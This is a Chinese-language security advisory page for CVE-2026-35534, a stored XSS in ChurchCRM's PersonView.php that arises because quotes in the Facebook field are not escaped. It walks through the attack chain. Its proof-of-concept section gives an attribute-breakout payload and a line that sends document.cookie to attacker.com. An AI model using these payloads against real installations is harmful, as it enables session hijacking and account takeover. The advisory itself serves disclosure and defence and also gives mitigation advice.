IPBUF安全漏洞报告
English
CVE-2026-35534 CVSS 7.6 高危

CVE-2026-35534 ChurchCRM存储型XSS漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-35534
漏洞类型
存储型跨站脚本 (Stored XSS)
CVSS评分
7.6 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
ChurchCRM

相关标签

XSS存储型XSSChurchCRMCWE-79会话劫持HTML注入

漏洞概述

ChurchCRM是一个开源的教堂管理系统。在7.1.0版本之前,PersonView.php中存在存储型跨站脚本(XSS)漏洞。由于错误地将sanitizeText()用于HTML属性上下文的输出转义,该函数仅剥离HTML标签但不转义引号,导致攻击者可跳出href属性并注入任意JavaScript事件处理器。拥有EditRecords角色的任何经过身份验证的用户都可以在人员的Facebook字段中存储载荷。该XSS针对查看该人员资料页面的任何用户(包括管理员)触发,从而实现会话劫持和完全的账户接管。

技术细节

该漏洞的核心在于ChurchCRM系统对用户输入的输出编码机制存在设计缺陷。在PersonView.php文件中,系统负责渲染个人资料信息,其中包含一个指向用户Facebook主页的链接。开发者使用了sanitizeText()函数来处理存储在数据库中的Facebook字段数据,并将其输出到HTML标签的href属性中。然而,sanitizeText()函数的实现逻辑仅涉及剥离HTML标签(例如将<script>移除),却忽略了HTML属性上下文中的特殊字符转义,特别是引号(" 或 ')。这意味着攻击者可以输入一个双引号来闭合原本的href属性值,随后插入恶意的JavaScript事件处理器(如onmouseover、onload等)。由于这是一个存储型XSS,攻击者只需拥有EditRecords角色的低权限账号,即可将恶意载荷持久化写入数据库。当具有更高权限(如管理员)的用户浏览该被篡改的个人资料页面时,载荷会在浏览器端解析并执行,攻击者借此窃取Session ID,实现完全的账户接管。此类漏洞绕过了传统的标签过滤机制,具有极高的隐蔽性和危险性。

攻击链分析

STEP 1
步骤1:获取权限
攻击者注册或获取一个具有较低权限(EditRecords角色)的ChurchCRM账户。
STEP 2
步骤2:注入Payload
攻击者编辑任意人员的个人资料,在'Facebook'字段中输入构造好的恶意Payload(例如:\" onmouseover=\"alert(1)\"),然后保存更改。
STEP 3
步骤3:存储数据
系统将带有恶意代码的数据存储在数据库中。由于sanitizeText()未过滤引号,Payload被完整保存。
STEP 4
步骤4:触发漏洞
当管理员或其他具有高权限的用户访问该被修改人员的个人资料页面时,服务器解析数据并将其渲染到HTML的href属性中。
STEP 5
步骤5:执行攻击
受害者的浏览器渲染HTML,攻击者的Payload闭合了原属性并注入了JS事件。当用户鼠标悬停或加载时,恶意脚本执行,窃取Session ID。
STEP 6
步骤6:接管账户
攻击者利用获取的Session ID冒充管理员身份,从而完全接管系统。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// The following payload is designed to be injected into the 'Facebook' field of a Person's profile. // The application context likely renders: <a href="[USER_INPUT]">Facebook</a> // Since sanitizeText() strips tags but does not escape quotes, we can break out of the attribute. // Payload to break href and inject an event handler " onmouseover="alert('XSS_CVE-2026-35534')" // Example of how the rendered HTML would look after injection: // <a href="" onmouseover="alert('XSS_CVE-2026-35534')">Facebook</a> // To steal cookies (Proof of Concept): " onmouseover="fetch('http://attacker.com/?c='+document.cookie)"

影响范围

ChurchCRM < 7.1.0

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用Facebook字段的编辑功能或显示功能,或者部署Web应用防火墙(WAF)规则以检测和拦截包含HTML属性事件处理器(如onerror, onmouseover)的流量。同时,建议管理员审查系统日志,检查是否存在异常的资料修改记录。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表